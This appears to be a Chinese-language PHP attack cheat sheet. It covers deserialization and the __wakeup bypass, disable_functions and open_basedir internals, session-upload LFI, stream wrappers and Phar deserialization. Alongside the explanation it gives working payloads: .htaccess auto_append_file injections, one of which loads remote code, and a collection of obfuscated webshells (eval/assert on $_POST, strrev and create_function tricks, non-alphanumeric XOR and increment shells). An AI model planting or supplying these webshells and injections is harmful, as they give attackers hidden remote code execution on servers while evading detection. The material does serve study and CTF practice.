利用 auto_prepend_file 和 include_path
.user.ini可运行于所有以fastcgi运行的server。 利用方式同php.ini
PHP序列化处理共有三种,分别为php_serialize、php_binary和WDDX(需要编译时开启支持),默认为php_serialize,可通过配置中的 session.serialize_handler
修改。
其中PHP处理器的格式为:键名 + 竖线 + 经过serialize()函数序列化处理的值。
其中php_binary处理器的格式为:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值。
其中php_serialize处理器的格式为:经过serialize()函数序列化处理的数组。
其中php_serialize的实现在 php-src/ext/standard/var.c
中,主要函数为 php_var_serialize_intern
,序列化后的格式如下:
boolean
b:;
b:1;
// trueb:0;
// falseinteger
i:;
double
d:;
NULL
N;
string
s::"";
s:1:"s";
array
a::{key, value};
a:1:{s:4:"key1";s:6:"value1";}
// array("key1" => "value1");
object
O::""::{};
reference
R:reference;
O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}
$a = new A();$a->a=1;$a->b=&$a->a;
php在反序列化的时候会调用 __wakeup
/ __sleep
等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。
另外 __toString
/ __call
两个函数也有利用的可能。
其中 __wakeup
在反序列化时被触发,__destruct
在GC时被触发, __toString
在echo时被触发,__call
在一个未被定义的函数调用时被触发。
下面提供一个简单的demo.
class Demo
{
public $data;
public function __construct($data)
{
$this->data = $data;
echo "construct
";
}
public function __wakeup()
{
echo "wake up
";
}
public function __destruct()
{
echo "Data's value is $this->data.
";
echo "destruct
";
}
}
var_dump(serialize(new Demo("raw value")));
输出
construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
把序列化的字符串修改一下后,执行
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
输出
wake up
Data's value is malicious value.
destruct
这里看到,值被修改了.
上面是一个 unserialize()
的简单应用,不难看出,如果 __wakeup()
或者__desturct()
有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。
那么,在 __wakeup()
中加入判断是否可以阻止这个漏洞呢? 在__wakeup()
中我们加入一行代码
public function __wakeup()
{
if($this->data != 'raw value') $this->data = 'raw value';
echo "wake up
";
}
但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload
unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');
输出
Data's value is malicious value.
destruct
这里wakeup被绕过,值依旧被修改了。
在PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时,__wakeup()
不会被执行。
PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 zend_disable_function
来实现禁止的效果。
这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下:
ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */
{
zend_internal_function *func;
if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
zend_free_internal_arg_info(func);
func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
func->num_args = 0;
func->arg_info = NULL;
func->handler = ZEND_FN(display_disabled_function);
return SUCCESS;
}
return FAILURE;
}
和函数的实现方式类似,disable classes也是这样实现的
ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */
{
zend_class_entry *disabled_class;
zend_string *key;
key = zend_string_alloc(class_name_length, 0);
zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length);
disabled_class = zend_hash_find_ptr(CG(class_table), key);
zend_string_release_ex(key, 0);
if (!disabled_class) {
return FAILURE;
}
INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new);
disabled_class->create_object = display_disabled_class;
zend_hash_clean(&disabled_class->function_table);
return SUCCESS;
}
因为这个实现机制的原因,在PHP启动后通过 ini_set
来修改 disable_functions
或 disable_classes
是无效的。
LD_PRELOAD绕过
mail()
+ putenv
PHP OPcache
Mail函数
imap_open
PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:
PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;
/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
pathbuf = estrdup(PG(open_basedir));
ptr = pathbuf;
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '\0';
end++;
}
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}
ptr = end;
}
if (warn) {
php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}
/* Nothing to check... */
return 0;
}
可通过 disable_functions
/ disable_classes
限制PHP可调用的函数和类。
可通过 open_basedir
限制PHP可访问的目录。
可通过 all_url_include
限制远程文件包含,默认关闭。 可通过 allow_url_fopen
限制打开远程文件,默认开启。
PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path
中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置。
PHP默认开启session.upload_progress.enabled
, 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。
那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。
流(Streams)的概念是在php 4.3引入的,是对流式数据的抽象,用于统一数据操作,比如文件数据、网络数据、压缩数据等。
流可以通过file、open、fwrite、fclose、file_get_contents、 file_put_contents等函数操作。
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。支持的协议可用 stream_get_wrappers()
查看。
file://
访问本地文件系统http://
访问 HTTP(s) 网址ftp://
访问 FTP(s) URLsphp://
访问各个输入/输出流(I/O streams)zlib://
压缩流data://
数据(RFC 2397)glob://
查找匹配的文件路径模式phar://
PHP 归档ssh2://
Secure Shell 2rar://
RARogg://
音频流expect://
处理交互式的流PHP 提供了一些输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
需要注意的是,流不受 allow_url_fopen
限制,但是 php://input
、 php://stdin
、 php://memory
和php://temp
受限于 allow_url_include
。
php://stdin
、 php://stdout
和 php://stderr
允许直接访问 PHP 进程相应的输入或者输出流。数据流引用了复制的文件描述符,所以如果在打开 php://stdin
并在之后关了它,仅是关闭了复制品,真正被引用的 STDIN 并不受影响。
其中 php://stdin
是只读的,php://stdout
和 php://stderr
是只写的。
php://fd 允许直接访问指定的文件描述符。例如 php://fd/3
引用了文件描述符 3。
php://memory
和 php://temp
是一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory
总是把数据储存在内存中,而 php://temp
会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir()
的方式一致。
php://temp
的内存限制可通过添加 /maxmemory:NN
来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。
php://input
是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input
来代替 $HTTP_RAW_POST_DATA
,因为它不依赖于特定的 php.ini 指令。而且,这样的情况下 $HTTP_RAW_POST_DATA
默认没有填充,比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype="multipart/form-data"
的时候 php://input
是无效的。
php://filter
是一种元封装器,设计用于数据流打开时的筛选过滤应用。PHP默认提供了一些流过滤器,除此之外,还可以使用各种自定义过滤器。
filter有resource, read, write三个参数,resource参数是必须的。它指定了你要筛选过滤的数据流。 read和write是可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔。
可以通过 stream_get_filters()
获取已经注册的过滤器列表。其中PHP内置的过滤器如下:
字符串过滤器
转换过滤器
压缩过滤器
加密过滤器
mcrypt.``ciphername``
mdecrypt.``ciphername``
php://filter/convert.base64-encode/resource=index.php
php_value auto_append_file /etc/hosts
php_value auto_append_file .htaccess
#
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
php_flag engine 0
GLOBALS
eval($GLOBALS['_POST']['op']);
$_FILE
eval($_FILE['name']);
拆分
assert(${"_PO"."ST"} ['sz']);
动态函数执行
$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
create_function
$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
preg_replace
rot13
base64
进制转化
- - "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
利用文件名
__FILE__
基于少见函数
mb_eregi_replace('.*',$_GET[1],'','e');
基于污染传播
putenv($_GET["c"]);eval(getenv('path'));
基于少见源
$a = filter_input(INPUT_GET,'c');
eval(end(getallheaders()));
PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。
=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(base64_decode($_[_]));
Phar(PHP Archive)文件是一种打包格式,将PHP代码文件和其他资源放入一个文件中来实现应用程序和库的分发。
在来自Secarma的安全研究员Sam Thomas在18年的Black Hat上提出后利用方式后,开始受到广泛的关注。
Phar可利用是因为Phar以序列化的形式存储用户自定义的meta-data,而以流的形式打开的时候,会自动反序列化,从而触发对应的攻击载荷。
Phar由四个部分组成,分别是 stub
/ manifest
/ 文件内容 / 签名。 stub 需要 __HALT_COMPILER();
这个调用在PHP代码中。
manifest 包含压缩文件的权限、属性、序列化形式存储的meta-data等信息,这是攻击的核心部分,主要就是解析Phar时对meta-data的反序列化。
phar的实现在 php-src/ext/phar/phar.c
中,主要是 phar_parse_metadata
函数在解析phar文件时调用了 php_var_unserialize
,因而造成问题。
而php在文件流处理过程中会调用 _php_stream_stat_path
(/main/streams/streams.c) ,而后间接调用 phar_wrapper_stat
,所以大量的文件操作函数都可以触发phar的反序列问题。
目前已知部分的触发函数有:
fileatime / filectime / filemtime /stat / fileinode / fileowner / filegroup / fileperms / file / file_get_contents / readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable / parse_ini_file / unlink / copy / exif_thumbnail / exif_imagetype / imageloadfont / imagecreatefrom*** / hash_hmac_file / hash_file / hash_update_file / md5_file / sha1_file / get_meta_tags / get_headers / getimagesize / getimagesizefromstring
eval
assert
call_user_func
__construct()
构建对象的时被调用__destruct()
销毁对象或脚本结束时被调用__call()
调用不可访问或不存在的方法时被调用__callStatic()
调用不可访问或不存在的静态方法时被调用__get()
读取不可访问或不存在属性时被调用__set()
给不可访问或不存在属性赋值时被调用__isset()
对不可访问或不存在的属性调用 isset 或 empty() 时被调用__unset()
对不可访问或不存在的属性进行 unset
时被调用__sleep()
对象序列化时被调用__wakeup()
对象反序列化时被调用__toString()
当一个类被转换成字符串时被调用__invoke()
对象被以函数方式调用时被调用__set_state()
调用 var_export()
导出类时被调用__clone()
进行对象clone时被调用__debugInfo()
调用var_dump()
打印对象时被调用move_uploaded_file
file_put_contents
/ file_get_contents
unlink
fopen
/fgets
file_get_contents()
fsockopen()
curl_exec()
fopen()
readfile()
php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。 比如php -r "var_dump(0.2+0.7==0.9);"
这行代码的输出是 bool(false)
而不是 bool(true)
。这在一些情况下可能出现问题。
如果使用==
来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是0e[0-9]{30}
的时候,就会认为两个hash值相等。 另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php"
的结果会是true
另外在判断一些hash时,如果传入的是数组,返回值会为NULL
, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。
同样的,strcmp() ereg() strpos()
这些函数在处理数组的时候也会异常,返回NULL。
preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行
PHP字符存在截断行为,可以使用ereg
/ %00
/ iconv
等实现php字符截断的操作,从而触发漏洞。
当使用 extract
/ parse_str
等函数时,或者使用php的$$
特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。
urlencode
和RFC3896存在一定的不同,PHP另外提供了 rawurlencode
对RFC3896完成标准的实现phpinfo可访问时,可以看到上传的临时文件的路径,从而实现LFI。
- php open basedir bypass
- open basedir bypass
- Bypass Disable functions Shell
- php wrappers
- 反序列化之PHP原生类的利用
- php解密的数种方法
- Surprising CTF task solution using php://filter
- 主机安全 洋葱Webshell检测实践与思考
- PHP htaccess inject
- php木马加密
- PHP WebShell变形技术总结
- 一些不包含数字和字母的webshell
- US Black Hat 2018 Phar
- 利用 phar 拓展 php 反序列化漏洞攻击面
- Phar与Stream Wrapper造成PHP RCE的深入挖掘
- Learning the PHP lifecycle
- PHP7内核剖析